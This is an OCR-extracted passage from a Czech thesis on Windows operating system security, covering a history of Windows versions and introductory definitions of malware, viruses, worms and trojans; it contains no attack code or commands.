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SOUHRN

Tato prace se zabyva problematikou bezpecnosti operacnich systémit Windows. Cilem této
prace je poukdzat na hrozby skryvajici se ve skodlivych programech a ukazat zakladni metody
Jjak se proti témto programiim branit. Popsano je nékolik nejrozsirenéjsich metod
pocitacovych utokii na operacni systéem Windows a jejich ndsledky. Soucdsti jsou také
doporuceni bezpecné konfigurace systéemu a zakladni bezpecnostni pravidla. Vysledkem této
prace je zhodnoceni bezpecnosti operacnich systemii Windows.

KLiCOVA SLOVA

bezpecnost, windows, cracking, exploit
TITLE

Security of Operating System Windows
ABSTRACT

This paper deals with problem of security of Windows operating system. The main objective
of this work is to show danger hidden in malicious programs and to show the basic methods

how to defend the computer against it. This paper describes the most common methods used
to attack the Widows operating system and shows impacts of these attacks.

The recommendation of safe configuration and the basic security rules are given. The results
of this paper is evaluation of the security of Windows operating systems.
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security, windows, cracking, exploit
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SEZNAM ZKRATEK

Nazev zkratky
AGP

Assembler
DoS
Exploit
FTP

LPS

MFC

TFTP
UAC

Anglicky vyznam
Accelerated Graphics Port

Assembler

Denial of Senvice

Exploit

File Transfer Protocol

Low Privilege Service
Microsoft Foundation Class

Trivial File Transfer Protocol
User Account Control

Cesky vyznam

AGP je wsokorychlostni sbémice pro pfipojeni
grafické karty k zakladni desce pocitace.
Assembler je programovaci jazyk velice blizky
strojovému kédu.

Odmitnuti sluzby, nedostupnost sluzby jejim
béZnym uzivatelim.

Exploit je kousek kédu ktery umozZriuje diky
chybé v béZici aplikaci spustit iastni kod, coz
by za standardni situace nebylo mozné.
Technologie pro prenos souborl mezi pocitadi.
Nizkoprivilegovany mad, aplikace ve Windows
MFC je knihovna zaobalujici ¢asti Windows
API do tfid.

Zjednodusena implementace protokolu FTP.
UAC slouZi k prifazovani prav spoustéjici se
aplikaci nebo programu.



1 UVOD

Se stale se rozvijejicim svétem pocitact a pocitaCovych siti a internetu se rozviji také

jeho ,,podsvéti®. Na Skodlivy programovy kod je dnes mozné narazit na kazdém kroku.

Od dob kdy se vyuzivaji pocitace témet vSude a ke vSemu, nardsta i pocet pocita-
covych uto¢niki. PocitaCové utoky se stale Castéji stdvaji nocni miirou spravci podnikovych i
malych siti, administratord malych stanic i domdcich uzivatel. Pocitacovi utoc€nici chtéji nad
po¢itadem ziskat kontrolu, ziskat z n&j informace a pozdgji jej vyuzit ke svému uéelu. Uto&ni-
ci zkousi stale nové figle jak pocita¢ ovladnout. NezabezpecCeny a zastaraly systém pro né

byva snadnou kofisti.

V operacnich systémech se Casto objevuji chyby, které je tfeba zaplatovat diive nez
jsou zneuzity. Zaplaty vydava vydavatel operacniho systému, aplikuje je spravce operacniho
systému. Programové chyby se vyskytuji také v nainstalovanych programech a sluzbach a tyto

chyby je také mozné zneuzit.

Dobra bezpecnost operac¢niho systému je podminkou pro to, aby se systém nestal ne-
bezpeény pro samotné uzivatele pocitace. Dobfe zabezpefeny systém vyzaduje pravidelnou a
dikladnou udrzbu. Operacni systém vyzaduje péci administratora, potfebuje byt aktua-
lizovany, zéplatovany a v neposledni fad¢ také spravné zkonfigurovany. Patficnou pozornost

a péci vyzaduji taktéZ v systému nainstalované programy a sluzby.
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2 HISTORIE WINDOWS

Microsoft Windows je fada grafickych viceulohovych opera¢nich systémil spole¢nosti
Microsoft. Prvni operacni systém firmy Microsoft se objevil na trhu v roce 1981 a od téch dob

jsou operacni systémy této firmy neoddélitelnou soucasti pocitacového svéta.

2.1 Rozdéleni Windows podile technologie

Podle prostiedi ve kterém umoznuji spoustét aplikace je mozné je rozdélit do tii sku-

pin, na 16bitové, 32bitové a 64bitové. Obrazek 2.1.1 ukazuje operacni systémy Windows na

c¢asoveé ose.

Obr. 2.1.1: Casova osa Windows (1)

1990

1993

1995
1996
1997
1998
1999
2000

2001

Descended from DOS. Descended
Windows 1.0-311, . from T
and Windows 9x mdows

Windows 3x

Windows NT

e

3 qry
_— H;” u;-'
Windows Windows™**

Horme Edition Professional

21.1 16bitové operacni systémy

Spole¢nost Microsoft uvedla prvni verzi Windows na trh v roce 1985. Tehdy se
jednalo pouze o nadstavbové grafické uzivatelské prostiedi nad tehdejsSim 16bitovym ope-
ra¢nim systémem MS-DOS. Mezi uzZivateli byla velice oblibena verze Windows 3.1, ktera

spatfila svétlo svéta v roce 1992. Dalsi verze Windows 3.11 for Workgroups pak pfinesla sdi-

leni souboru v siti.
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Ve Windows 95 v roce 1995 byl zadsadné zménén graficky vzhled, v systému bylo in-
tegrovano diive samostatné dostupné rozsiteni Win32s pro podporu 32bitovych aplikaci v 16
bitovém systému. Integrovana byla také podpora protokolu TCP/IP, coz znamenalo umoZznéni

ptimého pfistupu k Internetu bez instalace dopliikii od jinych dodavateli.

Dalsi vylepSeni piinesla verze Windows 98 v roce 1998 a posléze Windows ME
(Millennium Edition), vydana k pfilezitosti nového tisicileti v roce 2000, coz byla i posledni

verze této fady.

I pfes podporu 32bitovych aplikaci zistaly nékteré ¢asti operacniho systému 16bitove,
coz vedlo k nestabilité systému, ktery mohl byt snadno ohroZen nespravné fungujicim progra-

mem.

21.2 32bitové operacni systémy

V roce 1993 byla predstavena nova fada operacnich systému firmy Microsoft, ktera
byla zalozena na pIné 32bitovém jadie NT (New Technology). Tato architektura je zalozena
na architekture OS/2. Prvnim zastupcem byla Windows NT 3.1. Windows NT prevzala Gspéch
nového grafického vzhledu z Windows 95. Dale nésledovala Windows 2000 vydana v roce
2000, Windows XP vydana roku 2001, Windows Server 2003 vydané v roce 2003 a Windows

Vista pro vyrobce vydana na konci roku 2006, pro uzivatele az v roce 2007.

21.3 64bitové operacni systémy

Prvni 64bitovou verzi pro procesory Intel byla po dlouhych odkladech Windows XP
vydana v roce 2005. Windows NT existovala také ve verzi urCené pro procesory Alpha, ale

tyto 64bitové procesory byly pifepnuty do 32bitového rezimu, coz vedlo k degradaci vykonu.

Windows Vista jsou v dnes$ni dobé dostupna v 32bitovych i v 64bitovych verzich.

2.2 Rozdéleni operac¢nich systémui Windows podle verzi

Nésledné je mozné operacni systémy firmy Microsoft roz¢lenit podle casového hledis-

ka na jednotlivé verze systému Windows.
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2.21 MS-DOS

Prvnim operacnim systémem firmy Microsoft byl MS-DOS. Tento operacni systém
byl uveden spole¢né s osobnimi pocitaci firmy IBM v roce 1981. Tento systém umoznoval
pracovat pouze jednomu uzivateli, ktery mohl v mit soucasné spustén pouze jeden program.
MS-DOS byl 16 bitovy, podporoval maximalné 640 kB paméti a dovedl pracovat s pevnymi
disky do kapacity 30 MB. Prace v tomto systému nebyla pfili§ pohodIna.

2.2.2 Windows 1.0

Prvni verze Windows spatiila svétlo svéta v roce 1985. Tehdy se jednalo o verzi 1.0.
Operacni systém Windows napravil vétSinu nedostatklt systému MS-DOS. Windows zavedl
multitasking, bylo umoznéno uzivateli pfepinat se mezi bézicimi tlohami (v systému
MS-DOS bylo nutné pro spusténi jiného programu ukoncit bézici program). Okna vSak ne-
bylo mozné ptekryvat. Na obrazku 2.2.1 je zachyceno pracovni prostiedi opera¢niho systému

Windows 1.0.

Obr. 2.2.1: Windows 1.0 (2)

13-D0S Executive

DOTHIS_TXT GDI_EXE LPC_DRU REUERSI.EXE  UTILITY.L
EGAHIBYW.DRU  HELUA.FOH LQ1508.DRU ROMAN.FON WIN.CHF
EGAHIBY.GRE  HELUB.FOHN MODERH.FON SCRIPT.FON UIN.COH

EGAHIBY.LGD  HELUC.FOH MOUSE .DRU SETUP.EXE WIN.INI
EGAHIRES .DRU  HELUD.FOH MSDOS .EXE SETUP.LBL UIN188.BI
- EGAHIRES .GRE HERCULES .DRU M3DOSD_EXE SG18.DRU UIN1@8.0U
CGA.GRB EGAHIRES .LGO HERCULES.GRB HMSMOUSE1.DRU  SOUND.DRU WINOLDAP .
CEA.LGD EGALORES .DRU  HERCULES.LGOD MSHMOUSE2_DRU SPOOLER.EXE  WINDLDAP.
CITOH.DRU EGALORES .GRE  HIFONTS.FON  HEC3558.DRU  SYSTEM.DRU WRITE.DAT
CLIPBRD.EXE  EGALORES.LGD HP747XA_DRU  HNECP2_DRU TERMINAL .EXE WRITE_EXE
CLOCK.ERE EGAMONO.DRU  HPLASER.DRU  NOMOUSE.DRVU  TISS@.DRU
COMH.DRU EGAMDNO . GRB IBHGRY .DRU NOTEPAD.EXE  THSRA.FON
CONTROL .EXE ~ EGAMOHO_LGOD  JOYMOUSE.DRU OKI92_DRU THSRB _FOH
COURA.FON EMM.AT KERHEL .EXE PAINT.EXE THSRC .FON
COURB _FON EHM.PC KEYBUS _DRU PRACTICE.DOC THSRD_FON
COURC.FON EPSONH.DRY LHOUSE .DRU RAMDRIVE.S¥S TOSH.DRU
COURD _FON FTG.DRU LOFOHTS.FON  README _DOC USER .EXE
=] T [=

2.2.3 Windows 2.0

Windows verze 2.0 byla vydana v roce 1987. V téchto Windows jiz bylo mozné pte-
kryvat okna a nebylo nutné je mozaikové skladat vedle sebe, jak tomu bylo ve verzi 1.0.
V prosinci roku 1987 pak byla uvedena Windows 2.0 verze 386, kterd byla optimalizovana
tehdy pro nejnovéjsi Cip firmy Intel. Na obrazku 2.2.2 je zachyceno pracovni prostiedi ope-

ra¢niho syst¢ému Windows 2.0.
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Obr. 2.2.2: Windows 1.0 (2)
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2.2.4 Windows verze 3.0

Windows verze 3.0 se v roce 1990 velmi rychle rozsifila predev§im diky piredin-
stalovavani na nova PC. Tato Windows s sebou piinesla novinky jako je vylepsené grafické
prostiedi (16ti bitové barevné prostiedi), virtudlni pamét’, tii mody operaci (real, standard,

386 enhanced), stromovy spravce souborti, nebo béh Windows v chranéném maédu 386.

O rok pozdé&ji byla vydana rozsifend verze Multimedia Extension, kterd vylepsila praci
systému s multimédii. Tato Windows vyzadovala instalaci na pocita¢, ve kterém byla nain-
stalovana VGA karta, CD-ROM, 2tlacitkova mys a zvukova karta. Na obrdzku 2.2.3 je zachy-

ceno pracovni prostfedi operaniho systému Windows 3.0.

Obr. 2.2.3: Windows 3.0 (2)
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2.2.5 Windows 3.11 for Workgroups

Verze 3.11 for Workgroups byla vydéna v roce 1993 a byla prvni verzi Windows s
podporou Peer-to-Peer sité. Tato Windows umoziiovala snadné sdileni soubort v siti a ob-
sahovala prvni program Microsoft Mail, diky ¢emuz bylo mozné pouzivat elektronickou pos-
tu. Tuto verzi jiz firma Microsoft kompletné lokalizovala do CeStiny. Na obrdzku 2.2.4 je

zachyceno pracovni prostfedi opera¢niho systému Windows 3.11.

Obr. 2.2.4: Windows 3.11 (2)
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2.2.6 Windows NT 3.1

V roce 1993 pfichazi také prvni pln€ 32bitovy systém, ktery na vnéjsi pohled vypada
stejn¢ jako Windows 3.1. Windows NT vznikla ze systému OS/2, ktery ptivodné¢ Microsoft
vyvijel spole¢né s firmou IBM. Pozdé&ji vSak spoluprace obou firem zkrachovala a ob¢ firmy

zaCaly vyvijet svlij systém zvlast.

Windows NT 3.1 byla prvnim opera¢nim systémem, ktery byl vyvijen ve dvou
verzich, ve verzi pro pracovni stanice (verze Workstation) a ve verzi pro servery (Advanced
Server). Tato verze Windows pfinesla podporu vice procesort, integrovanou podporu sité a
souborovy systém NTFS. Na obrazku 2.2.5 je zachyceno pracovni prostfedi opera¢niho systé-

mu Windows NT 3.1.
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Obr. 2.2.5: Windows NT 3.1 (2)

’
g
g
’
g

WINDOWSNT.

Version 3.1

Irtemationsl

R

Drivers

Help

System

2

Server

Settings

Services

Changes the Windows screen «

MICROSOFT. g

Program Manager - WINNT31iamit

File Options Window Help

2.2.7 Windows 95

Roku 1995 byla na trh uvedena Windows 95. Windows 95 je prvni systém firmy
Microsoft, ktery nevyZadoval predchozi instalaci syst¢ému MS-DOS. Tento systém byl opatfen
fadou vylepSeni jakymi byly naptiklad ¢aste¢né 32-bitové jadro, podpora dlouhych nazvi

soubort, vylepSena podpora sité a zcela nové grafické rozhrani. Objevila se také podpora

technologie Plug & Play.

V roce 1996 ptichéazi firma Microsoft s novou verzi operacniho systému Windows 95.

Tato verze nese oznaceni Windows 95 OSR?2 a ptidava ke své predchozi verzi podporu nové-
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CipBack
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ho souborového systému FAT 32.

Windows 95 se ve své dob¢ zacala pouZzivat jako herni platforma pfedevsim diky roz-

hrani DirectX. Na obrazku 2.2.6 je zachyceno pracovni prostfedi opera¢niho systému

Windows 98.
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2.2.8 Windows NT 4.0

Grafické uzivatelské rozhrani Windows 95 bylo tak uspésné, Ze se jej Microsoft rozho-
dl vyuzit i v nové verzi Windows NT 4.0, ktera ptisla na trh v roce 1996. Grafické rozhrani
vsak bylo jediné co mély tyto operacni systémy spolecné. Windows NT se prosadil predevSim
v podnikovém prostredi diky své robustnosti oproti Windows 95 a zejména pro své bohaté si-
tové sluzby. Na obrazku 2.2.7 je zachyceno pracovni prostiedi operacniho systému Windows

NT 4.0.

Obr. 2.2.7: Windows NT 4.0 (2)
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2.2.9 Windows 98

Roku 1998 byla na trh uvedena nova verze Windows s oznac¢enim Windows 98. Tato
Windows vychazela z operacniho systému Windows 95. Tato Windows, oproti diivéjSim
verzim, podporuji DVD mechaniky, USB zatizeni, rozhrani AGP, rozhrani FireWire a praci s

vice monitory. Pfimo v systému je zahrnut Internet Explorer 4.0.

V roce 1999 byla vydana vylepsena verze opera¢niho systému Windows 98 s nazvem
Windows 98 Second Edition. Vylepsen byl predevSim Internet Explorer, ktery byl aktua-
lizovan na verzi 5.0, do systému bylo zaclenéno rozhrani DirectX 6.1 a ptibyla moznost sdi-
leni pfipojeni k internetu. Integrovany byly taktéZ opravy pro pfechod na rok 2000. Na

obrazku 2.2.8 je zachyceno pracovni prostiedi opera¢niho systému Windows 98.
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Obr. 2.2.8: Windows 98 (2)

Microsoff* *
Windowsd8
‘1 Amit Singh - Microsolt Intemnet Explorer

elp

B4 @ E s

Back  Fowad  Stop  Refiesh  Home | Seach Favoites Histoy

=

Mail Print
f Address [@] htp: /i kemethiead.com/ | oo [|Liks >
z kernelthread
‘ Windaws Update contents
_ it
Comic

Erograms L4 Amit:

Fine Arts
Favarites N live in Silicon Yalley, Please click here for my résumé. Here is a Mouse
2 picture of me, and here is the Devnagri representation of my name. Attormotive
% Dosuments » 1 work at 1BM almaden Research Center. Before moving to the Bay Audi T
Area, [ was a Member of Technical Staff in the Information Sciences Motorcyaling
@; Settings 3 Research Center st Bell Laboratories in Murray Hill, New Jersey, Comnputing
where 1 worked on Operating Systems and Networking. Apple
A , Hanaimania
- Most of the infarmation on this site s related to my interests in Obfuscation
@ o computer sciznce and computers, and some random hobbizs,
i

o] — Pragramming
Z I —— iscellansous
ﬁ & Log Off, 12/08/03 |slashdotred ] Fitness

Links -
55720707 13 ied actuanced Pronrameming in the Hae o5 2 El

E3 ) snutDom. [ [ [ intemet 2
| &]mi Singh - Miciosoft ke B3 saam

2.2.10 Windows ME

V roce 2000 Microsoft nabidl posledni operacni systém vychazejici z Windows 95 pod
oznacenim Windows Millennium Edition (Windows ME). Ke zménam patiilo zamaskovani
MS-DOSu a System Restore pro obnovu poskozenych systémovych soubort. Nové byl do

systému zaclenén Movie Maker a Media Player 7.

Verze Windows ME se setkala se znac¢nou kritikou uzivateld pro svou nespolehlivost.
Ptestoze jsou Windows ME vydand pozdéji nez Windows 98 SE, obecné se doporucuje vyuzi-
ti spiSe verze Windows 98 SE. Windows ME jiZ dal§iho nastupce nemaji. Na obrazku 2.2.9 je

zachyceno pracovni prostfedi opera¢niho systému Windows ME.

Obr. 2.2.9: Windows ME (2)
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2.2.11 Windows 2000

Windows 2000 byla uvedena v roce 2000. Tato Windows jsou ndstupcem Windows
NT 4.0. Tento operacni systém je zaloZzen na jadru Windows NT, obohaceném uzivatelskym
rozhranim z Windows 9x. Jadro typu NT je obecné stabilnéjsi nez jadro, které pouzivala

Windows 98, protoZe je zaloZeno na architekture OS/2, které je pln¢ 32bitové.

Ve Windows 2000 jsou také mnohé uspésné nastroje, které se objevily jiz ve Windows
98 a ME. Jedna se napfiklad o nastroj Automatické Aktualizace, Outlook Express, sdileni in-
ternetovych ptipojeni, Windows Media Player a dal$i. V tomto opera¢nim systému je zahrnut
Internet Explorer 5. V grafickém prosttedi ptibylo dynamické skryvani méné casto pouzi-

vanych polozek menu pod Sipku v jeho spodni ¢asti.

Windows 2000 podporuji souborovy syst¢tm NTFS ve verzi 3.0, ktery je vylepSen,
oproti star§i verzi, o podporu kvot. Kvotu je mozné aplikovat na diskovy oddil, nelze apli-
kovat na slozku, ale i pfesto je mozné systémovymi prostiedky vymezit uZivateli maximalni

vyuzitelné misto na disku. Pfedstavena byla také funkce spanku.

Stabilita systému se zvysila pouzivanim pouze ovladact schvalenych laboratofemi fir-
my Microsoft. Havarii systému totiz ve starSich verzich Windows casto zpisobil praveé
chybny ovlada¢. Microsoft zavedl novou metodu Windows File Protection k ochranéni kri-
ticky dalezitych systémovych souborii proti smazéni a tim zabraiiuje zdvaznému poSkozeni

celého systému.

Windows 2000 obsahuji podporu pro moderni hardware jako jsou rozhrani Firewire,
IrDa porty, porty USB, bezdratové sité a dalsi, nabizeji lepsi integraci do podnikovych siti,
Vzdalenou Plochu, podporu VPN a fadu dalSich vylepSeni.

Windows 2000 byla vydavéana ve Ctyfech verzich a to Windows 2000 Professional,
Windows 2000 Server, Windows 2000 Advanced Server a Windows 2000 Datacenter Server.

Windows 2000 Professional je nastupcem Windows NT 4.0 workstation. Tento sys-
tém je urCeny pro pracovni stanice, podporuje 2 procesory a dokaze vyuzit 4 GB operacni

paméti.

Windows 2000 Server je nastupcem Windows NT 4.0 Server a podporuje maximalné

2 procesory a 4 GB paméti. Operacni systém Windows NT 4.0 Server v§ak podporoval maxi-
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malné 4 procesory a proto je k dispozici upgrade, ktery do systému piida podporu pro vyuzi-
vani 4 procesori. Na tomto systému je mozné zprovoznit sluzbu Terminal Services, kterd

dokéZe zptistupnit aplikace Windows formou ,,tenkych klientd* ostatnim pocitactim.

Windows 2000 Advanced Server je serverem pro kritické aplikace. Na rozdil od
Windows 2000 Serveru podporuje 4 procesory a az 64 GB operacni paméti. Disponuje navic

skupinou aplika¢nich sluzeb zajist'ujicich dostupnost serveru a vyvazovani zatéze.

Windows 2000 Datacenter Server je vyspélejsi verzi Windows 2000 Advanced
Serveru a je urCen predevsim pro velmi velké spolecnosti. Oproti Advanced Serveru nabizi

navic dvé véci: podporu az pro 32 procesorti a dokonalej$i klastrovani.

Windows 2000 jsou i v dne$ni dob& pouzivana nezanedbatelnym poctem uZivatel
1 pfesto, ze podpora tohoto systému ze strany firmy Microsoft byla ukoncena v roce 2005 a od
té¢ doby bézi jiz pouze prodlouzend doba podpory do roku 2010, ve které bude Microsoft vy-
davat pouze kritické bezpecnostni zaplaty a ostatni chyby zistanou nepokryté. Na obraz-

ku 2.2.10 je zachyceno pracovni prostiedi operacniho systému Windows 2000.

Obr. 2.2.10 Windows 2000 (3)
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2.2.12 Windows XP

Windows XP je rodina operac¢nich systému firmy Microsoft vyvinutd pro pouziti na
osobnich pocitacich, pro domécnosti a pro pouziti ve firmach. Vydéana byla také edice se za-
meéfenim na multimédia. Zkratka XP znamena eXPerience, coz v ¢eStiné znamena zazitek.
Windows XP jsou nastupcem Windows 2000 a zarovenn Windows ME a tim se staly prvnim
operacnim systémem firmy Microsoft zalozené na jadie NT urcené pro pouziti na osobnich

pocitacich. Windows XP byla vydéana v roce 2001 a okamzité se rozsifila mezi uzivatele.
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Nejrozsitengjsi varianta Windows XP je Windows XP Home Edition, ktera je urcena
uzivatelim v domacnostech a Windows XP Professional, kterd je obohacena o funkce

Windows Server Domain, podporuje dva fyzické procesory a je urena pro pouziti ve firmach.

Windows XP Media Center Edition ma navic funkce zaméfend na multimédia jako je
podpora pro sledovani televize na pocitaci a nahravani filmi, sledovani DVD filmt a poslech

hudby.

Windows XP vysla také ve dvou oddélenych 64bitovych verzich a to Windows XP
64-bit Edition pro procesory Itanium IA-64 a Windows XP Professional x64 Edition pro pro-
cesory architektury x86-64.

Windows XP maji zlepSenou stabilitu a grafické uZivatelské prostiedi. ZlepSena byla
prace s DLL knihovnami a jejich rozmisténi na pevném disku pocitace. V diivéjsich verzich
Windows byl tento nedostatek zndm pod nazvem ,,DLL hell*“ v €estin€ peklo dynamickych

knihoven.

racniho systému Windows neobjevily. Mezi ty nejvyznamnéjsi patii rychlejsi start a hibernace
systému, vylepSena prace s ovladaci, nové, uzivatelsky piijemnéjsi grafické rozhrani s podpo-
rou motivu, rychlé prepinani uzivatelt, které umoziuje uzivatelim ulozit rozpracovany stav a
umoziuje piihlaSeni jin¢ho uzivatele bez nutnosti ukoncit své bézici aplikace, vyhlazovani
pisma, které zlepSuje Citelnost textl na LCD monitorech, vzdalena plocha, kterd umoziuje
uzivatelim se piihlasit ptes sit’, nebo pies internet a pouzivat své aplikace, soubory, tiskdrny a
jina zatizeni, podpora pro vétSinu DSL modemti, bezdratovych karet a také moznosti vytvofit

sit’ pomoci rozhrani FireWire nebo Bluetooth.

Servisni balicek Service pack 1 pro Windows XP byl vydan v roce 2002. Obsahuje
opravy bezpecnostnich chyb, aktualizace a volitelnou podporu pro nové rozhrani .NET Fra-
mework. Nejvyznamnéj$i vylepSeni je zavedeni podpory pro USB 2.0. UZivatelé systému si
také mohou zvolit vychozi aplikaci pro prohlizeni internetu, instantni messaging, vychozi kli-

ent pro elektronickou postu a podobné.

Servisni bali¢ek Service pack 2 byl vydan v roce 2004. Na rozdil od ptedchozich
servisnich balickll pfidal do Windows XP zasadné nové funkce. Mezi nejvyznamnéjsi patti

Windows Firewall, zlepSena podpora Wifi karet, moznost pouziti Sifrovani bezdratové sité po-
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moci WPA, mozZnost blokovat vyskakovaci Pop-up okna v Internet Exploreru 6 a podporu pro
rozhrani Bluetooth. Service Pack 2 také viditelné zrychlil start systému a zavedl do Windows
XP podporu NX bitu, ktery je vyuzivan modernimi procesory k ochran¢ paméti proti pieteceni
zasobniku. Service Pack 2 pfidal do systému Windows XP nastroj Centrum Zabezpeceni, diky
kterému je mozné centralné fidit bezpecnost systému. Centrum Zabezpeceni dovede fidit an-

tivirovy program, Windows Firewall a nastroj Automatické aktualizace.

Windows XP jsou Casto kritizovana pro vyskyt chyb a také pro integraci Microsoft In-

ternet Exploreru 6 a Windows Media Playeru.

Windows XP je v soucasnosti mezi uzivateli velmi oblibenym opera¢nim systémem a
je mezi nimi hojné rozsifen. Spole¢nost Microsoft se vSak chysta ukoncit podporu tohoto ope-
racniho systému diky jeho nasledniku Windows Vista. Na obrazku 2.2.11 je zachyceno pra-

covni prostfedi operac¢niho systému Windows XP.

Obr. 2.2.11: Windows XP (4)
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2.2.13 Windows Server 2003

V roce 2003 byl predstaveny operacni systém Windows Server 2003. Jedna se o Ciste
serverovy produkt, ktery neni dostupny ve verzi pro osobni pocitace a k jeho vlastnostem patii
zejména propracovangj$i bezpecnost, lepSi robustnost a sprava systémii. Windows Server

2003 je zakladem pro celou dalsi rodinu serverovych produkti Microsoftu.
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2.2.14 Windows Vista

V leto$nim roce, v roce 2008 byla vydana zatim posledni verze opera¢niho systému

Windows, Windows Vista.

K nejvyznamnéj$im vylepSenim proti pfedchozim verzim systému je piechod k mo-
dularité. Windows Vista nyni pouzivaji architekturu kterd k jadru ptipojuje moduly. Takova
architektura je velmi vyhodna protoze umoziuje snadno vytvorit nékolik rizné vybavenych
verzi systému. Tato architektura ma také vliv na vykon, protoze v momentu kdy neni né&jaky

modul potieba, je mozné jej odpojit a tim Setfit systémovymi prostiedky.

Dalsim ptikladem kdy miiZze byt tato vlastnost s vyhodou pouZita je prace s aktualiza-
cemi. V dobach Windows XP byly vydavany zéplaty v anglické verzi a lokalizované verze
byvaly vydavany pozd¢ji. Ve Windows Vista jsou zaplaty nezavislé na lokalizaci, lokalizace je
také ve zvlastnim modulu, tudizZ je vydana pouze jedna verze zdplaty a cely proces opraveni

kritické chyby je tim podstatné zrychlen.

Dal$im vylepSenim je Platforma WinFX, neboli .NET Framework 3.0, ktera je nov¢jsi

verzi NET Framework 2.0. Jedna se o rozhrani pro podporu aplikaci.

Windows Vista maji nékteré nové bezpecnostni metody. Prvni z nich je UAC'.
UAC slouzi k ptitazovani prav spoustéjici se aplikaci nebo programu. Kazdé aplikace je stan-
dardng spousténa v moédu LPS? kdy smi pracovat pouze s uzivatelem dfive definovanymi
castmi systému. Pokud chce zasdhnout do ¢asti systému, do které v ramci LPS modu nema
pfistup, je nutné aby ji uZivatel pfidélil prava. Pokud se tak stane v G€tu bézného uzivatele, je
pouze informovan o tom Ze k konu nema dostate¢na prava®, pokud se tak stane v u¢tu admi-
nistratora, je uzivatel dotazan, zda dovoli aplikaci pfepnout do privilegovaného rezimu, ve

kterém ma ptistup do celého systému.

Dalsi dvé, ve Windows zcela nové, technologie Compatibility Redirector a Virtual Sto-
re slouzi také ke zlepSeni bezpec€nosti celého operacniho systému. Technologie Virtual Store
predstavuje virtualni adresétfovou strukturu, do kterého jsou ukladany soubory, které by mély
byt zapsany do systémovych adresarii jako jsou Program Files nebo adresat Windows. Pokud

se program pokousi zapsat data do registrti, do slozek Program Files, nebo do slozky

1 UAC (User Account Controll).
2 LPS (Low Privilege Service, nizkoprivilegovany mod).
3 Typickym piikladem je instalace programu.
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Windows, méd v rezimu Low Privilege Service pfistup pouze k Virtual Store. Technologie
Compatibility Redirector zajisti to Ze program o tomto pfesmérovani nevi. Kazdy uzivatel ma

v ramci svého uctu vlastni Virtual Store.

Vyznamné zlepSeni bezpecnosti ve Windows Vista bylo dosazeno technologii Protec-
ted Mode v Internet Explorer 7. Toto zlepSeni spociva predevsim v zakazu zapisu do dilezi-
tych systémovych struktur pro webové stranky. toto omezeni se tyka v prvni fadé prvka
ActiveX, které doposud mély piistup v podstaté k celému systému. Internet Explorer ma v
protected mode omezena prava, nezavisle na tom, zda je Internet Explorer povySen do privi-

legovaného mddu, ¢i nikoli a miize zapisovat pouze do definovanych bezpecnych ¢asti disku.

Mezi dal$i nové moznosti systému Windows Vista patii napiiklad technologie Bit Lo-
cker slouzici k Sifrovani dat na pevném disku, zlepSeny Windows Firewall, ktery jiz monito-
ruje a filtruje také piichozi pokusy o ptipojeni, Windows Vista taktéz dokdze podle prav

uzivatele zachazet s vyménnymi pamétovymi médii, jako jsou flash disky.

Ve Windows Vista se objevuje zcela piepracované grafické rozhrani, oznacované na-
zvem Aero. Toto grafické prostiedi obsahuje néktera graficka lakadla jako prihlednost oken a

nabidek, trojrozmérné animace, hez¢i ikonky piizptisobené 1 vy$sim rozliSenim apod.

Nevyhodou tohoto nového systému mize byt vyssi spotieba elektrické energie, coz ma

na noteboocich za nasledek kratsi dobu vydrze baterie.

Bohuzel, ve Windows Vista chybi n¢kolik stéZejnich technologii, které byly slibeny
firmou Microsoft, napiiklad systém soubori WinFS, ktery by zefektivnil vyhledavani.

Windows Vista ma velmi libivé uZivatelské rozhrani, které si jisté 1 v budoucnu oblibi
mnoho uzivatelll pocitace. Kromé pékného vzhledu je ze strany firmy Microsoft kladen diraz

na bezpecnost a Windows Vista maji diky své pfepracované architektute nadéjné vyhlidky byt

wewr

ho systému Windows Vista.
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Obr. 2.2.12: Windows Vista (5)
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2.2.15 Windows Server 2008

Windows Server 2008 vyl vydan v roce 2008 a je nejnovejsim zastupcem operacnich
systému pro servery spole¢nosti Microsoft. Windows Server 2008 je nastupcem operacniho
syst¢tmu Windows Server 2003, ktery vysel pted péti lety. Tento operacni systém je zalozen na

stejném jadru jako Windows Vista, na jadru vyuzivajicim technologii NT.

Windows Server 2008 umoznuje praci bez grafického uzivatelského rozhrani,
umoziuje byt konfigurovan a spravovan pies prikazovou fadku PowerShell, zlepSena byla

také bezpecnost systému.

3 SKODLIVE PROGRAMY

Se stale se rozvijejicim svétem pocitacl, pocitacovych siti a internetu se rozviji i jeho

,podsvéti“. Na Skodlivy programovy kod dnes miizeme narazit na kazdém kroku.

Podle typu miizeme $kodlivé pocitacové programy rozdélit do nékolika skupin.

3.1 Malware

Jako Malware byvaji souhrnné oznacovany Skodlivé programy jako jsou napiiklad po-

CitaCové viry, trojské koné, spyware a adware. Vyraz malware vznikl slozenim anglickych
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slov ,,malicious®, s ¢eskym vyznamem ,,zaketny* a ,,software”. Malware je n€kdy nazyvan

jako pocitaCova necistota.

3.2 PocitaCovy virus

Jako virus se v oblasti pocitacové bezpecnosti oznacuje program, ktery se dokaze sam
Sifit bez védomi uZzivatele. Pro své mnoZeni se samovolné vklada do jinych spustitelnych sou-
borii ¢i dokumentt. Jeho chovani je podobné chovani biologického viru, ktery se Sifi vkla-
danim svého kodu do zivych bunck hostitelského organismu. Pro tuto podobnost se nékdy

procesu Sifeni viru fiké nakazeni ¢i infekce a napadenému souboru hostitel.

Vir se §ifi pfenosem hostitele (naptiklad infikovaného dokumentu, nebo spustitelného

souboru) na jiny pocitac.

3.3 PocitaCovy Cerv

PocitaCovy Cerv je zvlastnim typem pocitaCového viru. Siii se v podob¢ infikovanych
souboril nebo paketli pocitacové sité. Infikovany systém cerv vyuzije k odeslani své kopie na
dalsi systémy v siti Internet a velmi rychle se tak rozsifuje. Na rozdil od pocitacového viru se

pocitacovy Cerv §ifi 1 prostiednictvim sité.

Zajimavosti je ze ptivodné byly vyvijeny uzite¢né pocitatové Cervy. Napiiklad rodina
cervit Nachi zkousSela stahnout a instalovat zaplaty z webu Microsoftu. V dne$ni dob¢ vSak

pachaji pocitaovi Cervi ptevazné skodlivou ¢innost.

3.4 Trojsky kun

Trojsky kin je skrytd soucést uzitecného programu. Néazev Trojsky ki pochdzi z an-
tického piibéhu o dobyti Troje. Program na pozadi tajné provadi kromé uzite¢né ¢innosti dalsi

¢innost a pravidlem byva, ze je tato ¢innost uzivateli Skodliva.

Trojsky kit miize byt samostatny program — napiiklad hra, spofi¢ obrazovky nebo né-
